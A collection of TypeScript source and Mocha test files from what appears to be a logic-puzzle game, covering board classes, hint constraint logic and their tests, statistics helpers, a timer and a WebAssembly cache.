contains(singleBoard: SingleBoard): boolean {
for (let row = 0; row < this.rows; row++) {
for (let col = 0; col < this.cols; col++) {
if (!this.isPossible(row, col, singleBoard.get(row, col)))
return false;
}
}
return true;
}
applySingleBoard(singleBoard: SingleBoard): boolean {
if (this.isSolved(singleBoard))
return false;
else {
for (let row = 0; row < this.rows; row++) {
for (let col = 0; col < this.cols; col++) {
let singleVariant = singleBoard.get(row, col);
for (let variant = 0; variant < this.variants; variant++)
this.get(row, col)[variant] = variant == singleVariant;
}
}
return true;
}
}
}<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {AdjacentHint, AdjacentHintFactory} from "../../../src/puzzle/hint/AdjacentHint";
import {HintType} from "../../../src/puzzle/hint/Hint";
import {param} from "../../param";
import {BoardOptions} from "../../../src/puzzle/board/Board";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {paramBoardOptionsExtra} from "../paramPuzzle";
function equivalents(hint: AdjacentHint): AdjacentHint[] {
return [
new AdjacentHint(hint.row1, hint.variant1, hint.row2, hint.variant2),
new AdjacentHint(hint.row2, hint.variant2, hint.row1, hint.variant1)
];
}
const paramEquivalents = param.generate(equivalents);
describe("AdjacentHint", function () {
describe("#apply()", function () {
let board: MultiBoard;
beforeEach(function () {
board = MultiBoard.full({rows: 3, cols: 3});
});
context("first column", function () {
paramEquivalents(new AdjacentHint(1, 0, 0, 2), hint => {
beforeEach(function () {
board.remove(0, 1, 2);
});
it("should remove variant if other variant cannot be adjacent", function () {
board.applyHint(hint);
expect(board.isPossible(1, 0, 0)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
context("last column", function () {
paramEquivalents(new AdjacentHint(1, 0, 0, 2), hint => {
beforeEach(function () {
board.remove(0, 1, 2);
});
it("should remove variant if other variant cannot be adjacent", function () {
board.applyHint(hint);
expect(board.isPossible(1, 2, 0)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
context("other column", function () {
paramEquivalents(new AdjacentHint(1, 0, 0, 2), hint => {
beforeEach(function () {
board.remove(0, 0, 2);
board.remove(0, 2, 2);
});
it("should remove variant if other variant cannot be adjacent", function () {
board.applyHint(hint);
expect(board.isPossible(1, 1, 0)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
paramEquivalents(new AdjacentHint(1, 0, 0, 2), hint => {
it("should not remove more variants than necessary", function () {
board.remove(0, 1, 2);
board.applyHint(hint);
let expectedBoard = MultiBoard.full({rows: 3, cols: 3});
expectedBoard.remove(0, 1, 2);
expectedBoard.remove(1, 0, 0);
expectedBoard.remove(1, 2, 0);
expect(board).to.deep.equal(expectedBoard);
});
});
it("should return false if variant is not removed", function () {
let changed = board.applyHint(new AdjacentHint(1, 0, 0, 2));
expect(changed).to.be.false;
});
});
it("should have Horizontal type", function () {
expect(new AdjacentHint(0, 1, 2, 3).getType()).to.equal(HintType.Horizontal);
});
});
describe("AdjacentHintFactory", function () {
const factory = new AdjacentHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
paramBoardOptionsExtra([
{rows: 1, cols: 2}
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
context("too small board", function () {
param<BoardOptions>([
{rows: 1, cols: 1},
{rows: 2, cols: 1},
], function (options) {
it("should return false", function () {
expect(factory.supports(options)).to.be.false;
});
});
});
});
describe("#random()", function () {
context("returned hint", function () {
const options: BoardOptions = {rows: 6, cols: 6};
const board = SingleBoard.random(options);
param.repeat(100, () => factory.random(board), function (hint) {
it("should have valid row1, row2", function () {
expect(hint.row1).to.be.within(0, board.rows - 1);
expect(hint.row2).to.be.within(0, board.rows - 1);
});
it("should have variants adjacent", function () {
let col1 = board.getCol(hint.row1, hint.variant1);
let col2 = board.getCol(hint.row2, hint.variant2);
expect(col1).to.be.at.least(0);
expect(col2).to.be.at.least(0);
expect(col1 - col2).to.be.oneOf([-1, 1]);
});
});
});
});
});<file_sep>import {db} from "./db";
export interface WasmItem {
url: string;
module: WebAssembly.Module;
}
export namespace Wasm {
export function getCached(url): Promise<WebAssembly.Module | undefined> {
return db.wasm.get(url, wasmItem => {
console.log("wasm from db:");
console.debug(wasmItem);
return wasmItem !== undefined ? wasmItem.module : undefined;
});
}
export function cache(url: string, module: WebAssembly.Module) {
let wasmItem = {
url: url,
module: module
};
console.log("wasm to db:");
console.debug(wasmItem);
db.transaction("rw", db.wasm, () =>
db.wasm.clear().then(() =>
db.wasm.put(wasmItem)
)
).then(() => console.log("wasm cached"));
}
}<file_sep>export function median(arr: number[]): number {
let n = arr.length;
if (n % 2 === 0)
return (arr[n / 2 - 1] + arr[n / 2]) / 2;
else
return arr[(n - 1) / 2];
}
// Tukey's hinges (include median) - https://en.wikipedia.org/wiki/Quartile#Method_2
export function lowerQuartile(arr: number[]): number {
let n = arr.length;
let end = n % 2 === 0 ? n / 2 : (n + 1) / 2;
return median(arr.slice(0, end));
}
export function upperQuartile(arr: number[]): number {
let n = arr.length;
let start = n % 2 === 0 ? n / 2 : (n - 1) / 2;
return median(arr.slice(start));
}<file_sep>import {expect} from "chai";
import * as _ from "lodash";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {AdjacentHint} from "../../../src/puzzle/hint/AdjacentHint";
import {DirectionHint} from "../../../src/puzzle/hint/DirectionHint";
import {OpenHint} from "../../../src/puzzle/hint/OpenHint";
import {SameColumnHint} from "../../../src/puzzle/hint/SameColumnHint";
import {paramBoardOptions} from "../paramPuzzle";
describe("MultiBoard", function () {
describe("#full()", function () {
paramBoardOptions(function (options) {
const board = MultiBoard.full(options);
it("should return correct size board", function () {
expect(board.rows).to.equal(options.rows);
expect(board.cols).to.equal(options.cols);
_.forEach(_.range(0, options.rows), row => {
_.forEach(_.range(0, options.cols), col => {
expect(board.get(row, col)).to.be.an("Array");
});
});
});
it("should return board with all variants", function () {
expect(board.variants).to.equal(options.cols);
const allVariants = _.times(options.cols, _.constant(true));
_.forEach(_.range(0, options.rows), row => {
_.forEach(_.range(0, options.cols), col => {
expect(board.get(row, col)).to.deep.equal(allVariants);
});
});
});
});
});
let board3: MultiBoard;
let board4: MultiBoard;
beforeEach(function () {
board3 = MultiBoard.full({rows: 3, cols: 3});
board4 = MultiBoard.full({rows: 4, cols: 4});
});
describe("#remove()", function () {
it("should remove variant from cell", function () {
board3.remove(0, 1, 2);
expect(board3.isPossible(0, 1, 2)).to.be.false;
});
context("should prune singles", function () {
it("should prune other cells if cell has single variant", function () {
board3.remove(0, 0, 0);
board3.remove(0, 0, 1);
expect(board3.isPossible(0, 1, 2)).to.be.false;
expect(board3.isPossible(0, 2, 2)).to.be.false;
});
it("should prune other variants if variant has single cell", function () {
board3.remove(0, 0, 0);
board3.remove(0, 1, 0);
expect(board3.isPossible(0, 2, 1)).to.be.false;
expect(board3.isPossible(0, 2, 2)).to.be.false;
});
});
});
describe("#set()", function () {
it("should only keep variant in cell", function () {
board3.set(0, 1, 2);
expect(board3.isPossible(0, 1, 2)).to.be.true;
expect(board3.isSingle(0, 1)).to.be.true;
});
it("should remove variant from other cells in row", function () {
board3.set(0, 1, 2);
expect(board3.isPossible(0, 0, 2)).to.be.false;
expect(board3.isPossible(0, 2, 2)).to.be.false;
});
context("should prune singles", function () {
it("should prune other cells if cell has single variant", function () {
board4.remove(0, 1, 2);
board4.remove(0, 1, 3);
board4.set(0, 0, 0);
expect(board4.isPossible(0, 2, 1)).to.be.false;
expect(board4.isPossible(0, 3, 1)).to.be.false;
});
it("should prune other variants if variant has single cell", function () {
board4.remove(0, 2, 1);
board4.remove(0, 3, 1);
board4.set(0, 0, 0);
expect(board4.isPossible(0, 1, 2)).to.be.false;
expect(board4.isPossible(0, 1, 3)).to.be.false;
});
});
});
let board12: MultiBoard;
beforeEach(function () {
board12 = MultiBoard.numberVariants([
[[0], [0, 1]]
]);
});
describe("#isPossible()", function () {
it("should return variant possibility in cell", function () {
expect(board12.isPossible(0, 0, 0)).to.be.true;
expect(board12.isPossible(0, 0, 1)).to.be.false;
expect(board12.isPossible(0, 1, 0)).to.be.true;
expect(board12.isPossible(0, 1, 1)).to.be.true;
})
});
describe("#count()", function () {
it("should return variant count in cell", function () {
expect(board12.count(0, 0)).to.equal(1);
expect(board12.count(0, 1)).to.equal(2);
});
});
describe("#isSingle()", function () {
it("should return true for cells with one variant", function () {
expect(board12.isSingle(0, 0)).to.be.true;
});
it("should return false for cells with multiple variant", function () {
expect(board12.isSingle(0, 1)).to.be.false;
});
});
describe("#getSingle()", function () {
it("should return single variant of single cell", function () {
let board = MultiBoard.numberVariants([
[[0], [1]]
]);
expect(board.getSingle(0, 0)).to.equal(0);
expect(board.getSingle(0, 1)).to.equal(1);
});
});
describe("#applyHints()", function () {
it("should apply all hints repeatedly", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new DirectionHint(0, 2, 1, 0),
new OpenHint(0, 1, 2)
]; // order important to check that hints list is repeatedly iterated, not once
board3.applyHints(hints);
let expectedBoard = MultiBoard.numberVariants([
[[0, 1], [2], [0, 1]],
[[1, 2], [1, 2], [0]],
[[0, 2], [0, 2], [1]]
]);
expect(board3).to.deep.eq(expectedBoard);
});
it("should return true if variant is removed by any hint", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new DirectionHint(0, 2, 1, 0) // removes
];
let changed = board3.applyHints(hints);
expect(changed).to.be.true;
});
it("should return false if variant is not removed by all hints", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new AdjacentHint(0, 1, 1, 2)
];
let changed = board3.applyHints(hints);
expect(changed).to.be.false;
});
});
describe("#applySingleHint()", function () {
it("should apply all hints until variant is removed", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new DirectionHint(0, 2, 1, 0), // removes
new OpenHint(0, 1, 2) // removes
]; // order important to check that hints list is iterated until first removal
board3.applySingleHint(hints);
let expectedBoard = MultiBoard.full({rows: 3, cols: 3});
expectedBoard.remove(0, 2, 2);
expectedBoard.remove(1, 0, 0);
expect(board3).to.deep.eq(expectedBoard);
});
it("should return true if variant is removed by any hint", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new DirectionHint(0, 2, 1, 0) // removes
];
let changed = board3.applySingleHint(hints);
expect(changed).to.be.true;
});
it("should return false if variant is not removed by all hints", function () {
let hints = [
new SameColumnHint(1, 0, 2, 1),
new AdjacentHint(0, 1, 1, 2)
];
let changed = board3.applySingleHint(hints);
expect(changed).to.be.false;
});
});
describe("#isSolved()", function () {
let singleBoard = new SingleBoard([
[0, 1],
[0, 1]
]);
it("should return true if is single and contains solution", function () {
let multiBoard = MultiBoard.numberVariants([
[[0], [1]],
[[0], [1]]
]);
expect(multiBoard.isSolved(singleBoard)).to.be.true;
});
it("should return false if is not single", function () {
let multiBoard = MultiBoard.numberVariants([
[[0, 1], [1]],
[[0], [1]]
]);
expect(multiBoard.isSolved(singleBoard)).to.be.false;
});
it("should return false if does not contain solution", function () {
let multiBoard = MultiBoard.numberVariants([
[[1], [0]],
[[0], [1]]
]);
expect(multiBoard.isSolved(singleBoard)).to.be.false;
});
});
describe("#isSingleBoard()", function () {
it("should return true if all cells are single", function () {
let board = MultiBoard.numberVariants([
[[0], [1]],
[[0], [1]]
]);
expect(board.isSingleBoard()).to.be.true;
});
it("should return false if any cell is not single", function () {
let board = MultiBoard.numberVariants([
[[0], [1]],
[[0], [0, 1]]
]);
expect(board.isSingleBoard()).to.be.false;
});
});
describe("#contains()", function () {
let singleBoard = new SingleBoard([
[0, 1],
[0, 1]
]);
it("should return true if all variants are possible", function () {
let multiBoard = MultiBoard.full({rows: 2, cols: 2});
expect(multiBoard.contains(singleBoard)).to.be.true;
});
it("should return false if any variant is not possible", function () {
let multiBoard = MultiBoard.full({rows: 2, cols: 2});
multiBoard.remove(0, 0, 0);
expect(multiBoard.contains(singleBoard)).to.be.false;
});
});
describe("#applySingleBoard()", function () {
const singleBoard = new SingleBoard([
[0, 1, 2],
[1, 2, 0],
[2, 0, 1]
]);
it("should solve board", function () {
board3.applySingleBoard(singleBoard);
expect(board3.isSolved(singleBoard)).to.be.true;
});
it("should return true if solves board", function () {
let changed = board3.applySingleBoard(singleBoard);
expect(changed).to.be.true;
});
it("should return false if board already solved", function () {
let board = MultiBoard.numberVariants([
[[0], [1], [2]],
[[1], [2], [0]],
[[2], [0], [1]]
]);
let changed = board.applySingleBoard(singleBoard);
expect(changed).to.be.false;
});
});
});<file_sep>import * as _ from "lodash";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory} from "../hint/Hint";
import {PuzzleOptions} from "../Puzzle";
import {RandomHintFactory} from "../RandomHint";
import {DelegateHintsGenerator} from "./HintsGenerator";
export class ExtraHintsGenerator extends DelegateHintsGenerator {
private static hintFactory: HintFactory = new RandomHintFactory();
supports(options: PuzzleOptions): boolean {
return super.supports(options) && ExtraHintsGenerator.hintFactory.supports(options);
}
async generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]> {
let hints = await this.delegate.generate(options, board);
return ExtraHintsGenerator.generateExtraHints(options, board, hints);
}
private static generateExtraHints(options: PuzzleOptions, board: SingleBoard, hints: Hint[]): Hint[] {
hints = _.clone(hints);
let extraHints = Math.round((options.extraHintsPercent / 100) * hints.length);
console.debug(`Adding extra hints: ${extraHints}`);
for (let i = 0; i < extraHints; i++) {
let hint = ExtraHintsGenerator.hintFactory.random(board);
hints.push(hint);
}
return hints;
}
}<file_sep>declare module "z3em/z3em.wasm" {
const filename: string;
export = filename; // https://github.com/TypeStrong/ts-loader/issues/344
}<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {BetweenHint, BetweenHintFactory} from "../../../src/puzzle/hint/BetweenHint";
import {HintType} from "../../../src/puzzle/hint/Hint";
import {param} from "../../param";
import {BoardOptions} from "../../../src/puzzle/board/Board";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
function equivalents(hint: BetweenHint): BetweenHint[] {
return [
new BetweenHint(hint.row1, hint.variant1, hint.rowMiddle, hint.variantMiddle, hint.row2, hint.variant2),
new BetweenHint(hint.row2, hint.variant2, hint.rowMiddle, hint.variantMiddle, hint.row1, hint.variant1)
];
}
const paramEquivalents = param.generate(equivalents);
describe("BetweenHint", function () {
describe("#apply()", function () {
let board: MultiBoard;
beforeEach(function () {
board = MultiBoard.full({rows: 5, cols: 5});
});
context("first column", function () {
paramEquivalents(new BetweenHint(0, 1, 1, 2, 2, 3), hint => {
it("should remove middle variant", function () {
board.applyHint(hint);
expect(board.isPossible(1, 0, 2)).to.be.false;
});
it("should remove one side variant if middle variant cannot be adjacent", function () {
board.remove(1, 1, 2);
board.applyHint(hint);
expect(board.isPossible(0, 0, 1)).to.be.false;
});
it("should remove one side variant if other side variant cannot be two columns away", function () {
board.remove(2, 2, 3);
board.applyHint(hint);
expect(board.isPossible(0, 0, 1)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
context("last column", function () {
paramEquivalents(new BetweenHint(0, 1, 1, 2, 2, 3), hint => {
it("should remove middle variant", function () {
board.applyHint(hint);
expect(board.isPossible(1, 4, 2)).to.be.false;
});
it("should remove one side variant if middle variant cannot be adjacent", function () {
board.remove(1, 3, 2);
board.applyHint(hint);
expect(board.isPossible(0, 4, 1)).to.be.false;
});
it("should remove one side variant if other side variant cannot be two columns away", function () {
board.remove(2, 2, 3);
board.applyHint(hint);
expect(board.isPossible(0, 4, 1)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
context("other column", function () {
paramEquivalents(new BetweenHint(0, 1, 1, 2, 2, 3), hint => {
it("should remove middle variant if side variant cannot be adjacent", function () {
board.remove(0, 1, 1);
board.remove(0, 3, 1);
board.applyHint(hint);
expect(board.isPossible(1, 2, 2)).to.be.false;
});
it("should remove one side variant if middle variant cannot be adjacent", function () {
board.remove(1, 1, 2);
board.remove(1, 3, 2);
board.applyHint(hint);
expect(board.isPossible(0, 2, 1)).to.be.false;
});
it("should remove one side variant if other side variant cannot be two columns away", function () {
board.remove(2, 0, 3);
board.remove(2, 4, 3);
board.applyHint(hint);
expect(board.isPossible(0, 2, 1)).to.be.false;
});
it("should return true if variant is removed", function () {
board.remove(0, 1, 1);
board.remove(0, 3, 1);
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
paramEquivalents(new BetweenHint(0, 1, 1, 2, 2, 3), hint => {
it("should not remove more variants than necessary", function () {
board.remove(0, 1, 1);
board.remove(0, 3, 1);
board.applyHint(hint);
let expectedBoard = MultiBoard.full({rows: 5, cols: 5});
expectedBoard.remove(0, 1, 1);
expectedBoard.remove(0, 3, 1);
expectedBoard.remove(1, 2, 2);
expectedBoard.remove(1, 0, 2);
expectedBoard.remove(1, 4, 2);
expectedBoard.remove(2, 1, 3);
expectedBoard.remove(2, 3, 3);
expect(board).to.deep.equal(expectedBoard);
});
});
it("should return false if variant is not removed", function () {
board.remove(1, 0, 2);
board.remove(1, 4, 2);
let changed = board.applyHint(new BetweenHint(0, 1, 1, 2, 2, 3));
expect(changed).to.be.false;
});
});
it("should have Horizontal type", function () {
expect(new BetweenHint(0, 1, 1, 2, 2, 3).getType()).to.equal(HintType.Horizontal);
});
});
describe("BetweenHintFactory", function () {
const factory = new BetweenHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
param<BoardOptions>([
{rows: 6, cols: 6},
{rows: 5, cols: 5},
{rows: 4, cols: 4},
{rows: 6, cols: 4},
{rows: 3, cols: 3},
// no 2×2
{rows: 2, cols: 3},
{rows: 1, cols: 3},
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
context("too small board", function () {
param<BoardOptions>([
{rows: 1, cols: 1},
{rows: 2, cols: 1},
{rows: 2, cols: 2},
], function (options) {
it("should return false", function () {
expect(factory.supports(options)).to.be.false;
});
});
});
});
describe("#random()", function () {
context("returned hint", function () {
const options: BoardOptions = {rows: 6, cols: 6};
const board = SingleBoard.random(options);
param.repeat(100, () => factory.random(board), function (hint) {
it("should have valid row1, rowMiddle, row2", function () {
expect(hint.row1).to.be.within(0, board.rows - 1);
expect(hint.rowMiddle).to.be.within(0, board.rows - 1);
expect(hint.row2).to.be.within(0, board.rows - 1);
});
it("should have side variants adjacent to middle variant on different sides", function () {
let col1 = board.getCol(hint.row1, hint.variant1);
let colMiddle = board.getCol(hint.rowMiddle, hint.variantMiddle);
let col2 = board.getCol(hint.row2, hint.variant2);
let col1Diff = col1 - colMiddle;
let col2Diff = col2 - colMiddle;
expect(col1).to.be.at.least(0);
expect(colMiddle).to.be.at.least(0);
expect(col2).to.be.at.least(0);
expect(col1Diff).to.be.oneOf([-1, 1]);
expect(col2Diff).to.be.oneOf([-1, 1]);
expect(col1Diff).to.not.equal(col2Diff);
});
});
});
});
});<file_sep>import {Listener} from "./Listener";
declare global {
interface Document {
readonly mozHidden: boolean;
readonly webkitHidden: boolean;
readonly msHidden: boolean;
onfocusin;
onfocusout;
}
}
export class VisibilityChangeListener implements Listener {
private visible: boolean = true;
constructor(public callback: (visible: boolean) => void) {
}
private focused = () => {
// console.debug(`focused ${document.visibilityState}`);
if (!this.visible)
this.callback(this.visible = true);
};
private unfocused = () => {
// console.debug(`unfocused ${document.visibilityState}`);
if (this.visible)
this.callback(this.visible = false);
};
add(): void {
// https://stackoverflow.com/a/38710376
// Standards:
if ('hidden' in document) {
document.addEventListener('visibilitychange',
() => {(document.hidden ? this.unfocused : this.focused)()});
}
if ('mozHidden' in document) {
document.addEventListener('mozvisibilitychange',
() => {(document.mozHidden ? this.unfocused : this.focused)()});
}
if ('webkitHidden' in document) {
document.addEventListener('webkitvisibilitychange',
() => {(document.webkitHidden ? this.unfocused : this.focused)()});
}
if ('msHidden' in document) {
document.addEventListener('msvisibilitychange',
() => {(document.msHidden ? this.unfocused : this.focused)()});
}
// IE 9 and lower:
if ('onfocusin' in document) {
document.onfocusin = this.focused;
document.onfocusout = this.unfocused;
}
// All others:
window.onpageshow = window.onfocus = this.focused;
window.onpagehide = window.onblur = this.unfocused;
// TODO: initial visibility check like https://stackoverflow.com/a/1060034
}
remove(): void {
// TODO: remove listeners
}
}<file_sep>import * as _ from "lodash";
export function mean(arr: number[]): number {
return _.sum(arr) / arr.length;
}
export function variance(arr: number[], knownMean: number = mean(arr)): number {
return _.sumBy(arr, x => Math.pow(x - knownMean, 2)) / arr.length;
}
export function stdDev(arr: number[], knownMean: number = mean(arr)): number {
return Math.sqrt(variance(arr, knownMean));
}<file_sep>import * as _ from "lodash";
export function formatDuration(diffMs: number) {
let diffSec = diffMs / 1000;
let sec = Math.floor(diffSec) % 60;
let min = Math.floor(diffSec / 60) % 60;
let hr = Math.floor(diffSec / 60 / 60);
return `${_.padStart(hr.toString(), 2, "0")}:${_.padStart(min.toString(), 2, "0")}:${_.padStart(sec.toString(), 2, "0")}`;
/*let ms = Math.floor(diffMs % 1000);
return `${_.padStart(hr.toString(), 2, "0")}:${_.padStart(min.toString(), 2, "0")}:${_.padStart(sec.toString(), 2, "0")}.${_.padStart(ms.toString(), 3, "0")}`;*/
}<file_sep>import * as _ from "lodash";
import {Hint} from "../hint/Hint";
import {Board, BoardOptions} from "./Board";
import {MultiBoard} from "./MultiBoard";
export class SingleBoard extends Board<number> {
static random(options: BoardOptions): SingleBoard {
return new SingleBoard(_.times(options.rows, row => _.shuffle(_.range(options.cols))), options);
}
getCol(row: number, variant: number): number {
for (let col = 0; col < this.cols; col++) {
if (this.get(row, col) === variant)
return col;
}
return -1;
}
isSolvable(hints: Hint[]) {
let multiBoard = MultiBoard.full(this.options);
multiBoard.applyHints(hints);
return multiBoard.isSolved(this);
}
}<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {HintType} from "../../../src/puzzle/hint/Hint";
import {SameColumnHint, SameColumnHintFactory} from "../../../src/puzzle/hint/SameColumnHint";
import {param} from "../../param";
import {BoardOptions} from "../../../src/puzzle/board/Board";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {paramBoardOptionsExtra} from "../paramPuzzle";
function equivalents(hint: SameColumnHint): SameColumnHint[] {
return [
new SameColumnHint(hint.row1, hint.variant1, hint.row2, hint.variant2),
new SameColumnHint(hint.row2, hint.variant2, hint.row1, hint.variant1)
];
}
const paramEquivalents = param.generate(equivalents);
interface RowColVariant {
row: number;
col: number;
variant: number;
}
describe("SameColumnHint", function () {
describe("#apply()", function () {
let board: MultiBoard;
beforeEach(function () {
board = MultiBoard.full({rows: 3, cols: 3});
});
param.swaps<RowColVariant>([
{row: 0, col: 2, variant: 1},
{row: 1, col: 2, variant: 2}
], ([remove, possible]) => {
paramEquivalents(new SameColumnHint(0, 1, 1, 2), hint => {
beforeEach(function () {
board.remove(remove.row, remove.col, remove.variant);
});
it("should remove variant if other variant cannot be in same column", function () {
board.applyHint(hint);
expect(board.isPossible(possible.row, possible.col, possible.variant)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
});
paramEquivalents(new SameColumnHint(0, 1, 1, 2), hint => {
it("should not remove more variants than necessary", function () {
board.remove(0, 0, 1);
board.remove(1, 2, 2);
board.applyHint(hint);
let expectedBoard = MultiBoard.full({rows: 3, cols: 3});
expectedBoard.remove(0, 0, 1);
expectedBoard.remove(1, 2, 2);
expectedBoard.remove(1, 0, 2);
expectedBoard.remove(0, 2, 1);
expect(board).to.deep.equal(expectedBoard);
});
});
it("should return false if variant is not removed", function () {
let changed = board.applyHint(new SameColumnHint(0, 1, 1, 2));
expect(changed).to.be.false;
});
});
it("should have Vertical type", function () {
expect(new SameColumnHint(0, 1, 2, 3).getType()).to.equal(HintType.Vertical);
});
});
describe("SameColumnHintFactory", function () {
const factory = new SameColumnHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
paramBoardOptionsExtra([
{rows: 2, cols: 1}
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
context("too small board", function () {
param<BoardOptions>([
{rows: 1, cols: 1},
{rows: 1, cols: 2},
], function (options) {
it("should return false", function () {
expect(factory.supports(options)).to.be.false;
});
});
});
});
describe("#random()", function () {
context("returned hint", function () {
const options: BoardOptions = {rows: 6, cols: 6};
const board = SingleBoard.random(options);
param.repeat(100, () => factory.random(board), function (hint) {
it("should have valid row1, row2", function () {
expect(hint.row1).to.be.within(0, board.rows - 1);
expect(hint.row2).to.be.within(0, board.rows - 1);
});
it("should have different rows", function () {
expect(hint.row1).to.not.eq(hint.row2);
});
it("should have variants from same column", function () {
let col1 = board.getCol(hint.row1, hint.variant1);
let col2 = board.getCol(hint.row2, hint.variant2);
expect(col1).to.be.at.least(0);
expect(col2).to.be.at.least(0);
expect(col1).to.equal(col2);
});
});
});
});
});<file_sep>import * as _ from "lodash";
import "mocha";
interface Callback<T> {
(value: T): void;
}
export function contextObject<T>(value: T, callback: Callback<T>): void {
context(JSON.stringify(value), function () {
callback(value);
});
}
export function param<T>(values: T[], callback: Callback<T>): void {
_.forEach(values, value => {
contextObject(value, callback);
});
}
export namespace param {
interface Generator<T> {
(value: T): T[];
}
interface GeneratedParam<T> {
(value: T, callback: Callback<T>): void;
}
export function generate<T>(generator: Generator<T>): GeneratedParam<T> {
return (value, callback) => {
param(generator(value), callback);
};
}
function swapsGenerator<T>([first, second]: [T, T]): [T, T][] {
return [
[first, second],
[second, first]
];
}
export function swaps<T>(value: [T, T], callback: Callback<[T, T]>): void {
generate(swapsGenerator)(value, callback);
}
export function repeat<T>(count: number, generator: () => T, callback: Callback<T>): void {
param(_.times(count, generator), callback);
}
}
// export = param;<file_sep>import * as _ from "lodash";
export class Timer {
private totalTime: number;
private startTime: number | null;
constructor() {
this.reset();
}
start(): void {
if (this.startTime === null)
this.startTime = _.now();
}
pause(): void {
let runningTime = this.getRunningTime();
if (runningTime !== null) {
this.totalTime += runningTime;
this.startTime = null;
}
}
getRunningTime(): number | null {
return this.startTime !== null ? _.now() - this.startTime : null;
}
getTotalTime(): number {
return this.totalTime + (this.getRunningTime() || 0);
}
reset(): void {
this.totalTime = 0;
this.startTime = null;
}
}<file_sep>import {Distribution} from "./Distribution";
import {NumericPairs} from "./PairsDistribution";
export abstract class AbstractDistribution<T> implements Distribution<T> {
abstract get(value: T): number | undefined;
abstract readonly n: number;
abstract readonly classes: number;
abstract mapFreqs(f: (freq: number, value: T) => number): Distribution<T>;
abstract map<U>(f: (freq: number, value: T) => U): U[];
abstract filter(p: (freq: number, value: T) => boolean): Distribution<T>;
scale(targetN: number): Distribution<T> {
let sourceN = this.n;
return this.mapFreqs(freq => freq / sourceN * targetN);
}
scaleTo<U>(targetDist: Distribution<U>): Distribution<T> {
return this.scale(targetDist.n);
}
protected toPairs(): NumericPairs<T> {
return this.map((freq, value) => [value, freq]) as NumericPairs<T>;
}
random(): T {
// https://en.wikipedia.org/wiki/Fitness_proportionate_selection
// http://www.keithschwarz.com/darts-dice-coins/ - Roulette Wheel Selection (linear)
let pairs = this.toPairs();
let cumFreq = Math.random() * this.n;
for (let i = 0; i < pairs.length; i++) {
let [value, freq] = pairs[i];
if (cumFreq < freq) // value has range [0, freq)
return value;
else
cumFreq -= freq;
}
return pairs[pairs.length - 1][0]; // must return in case of bad rounding
}
}<file_sep>import * as _ from "lodash";
import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory, HintType} from "./Hint";
export class SameColumnHint implements Hint {
constructor(public row1: number, public variant1: number, public row2: number, public variant2: number) {
}
applyTo(board: MultiBoard): boolean {
let changed = false;
for (let col = 0; col < board.cols; col++) {
const possible1 = board.isPossible(this.row1, col, this.variant1);
const possible2 = board.isPossible(this.row2, col, this.variant2);
if (!possible1 && possible2) {
board.remove(this.row2, col, this.variant2);
changed = true;
}
else if (possible1 && !possible2) {
board.remove(this.row1, col, this.variant1);
changed = true;
}
}
return changed;
}
getType(): HintType {
return HintType.Vertical;
}
}
export class SameColumnHintFactory implements HintFactory {
supports(options: BoardOptions): boolean {
return options.rows >= 2 && options.cols >= 1;
}
random(board: SingleBoard): SameColumnHint {
let col = _.random(0, board.cols - 1);
let row1 = _.random(0, board.rows - 1);
let row2;
do {
row2 = _.random(0, board.rows - 1);
} while (row2 == row1);
return new SameColumnHint(row1, board.get(row1, col), row2, board.get(row2, col));
}
}<file_sep>import * as _ from "lodash";
import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory, HintType} from "./Hint";
export class OpenHint implements Hint {
constructor(public row: number, public col: number, public variant: number) {
}
applyTo(board: MultiBoard): boolean {
if (!board.isSingle(this.row, this.col)) {
board.set(this.row, this.col, this.variant);
return true;
}
else
return false;
}
getType(): HintType {
return HintType.Start;
}
}
export class OpenHintFactory implements HintFactory {
supports(options: BoardOptions): boolean {
return options.rows >= 1 && options.cols >= 1;
}
random(board: SingleBoard): OpenHint {
let row = _.random(0, board.rows - 1);
let col = _.random(0, board.cols - 1);
return new OpenHint(row, col, board.get(row, col));
}
}<file_sep>import {SingleBoard} from "../board/SingleBoard";
import {Hint} from "../hint/Hint";
import {Difficulty, PuzzleOptions} from "../Puzzle";
import {HintsGenerator} from "./HintsGenerator";
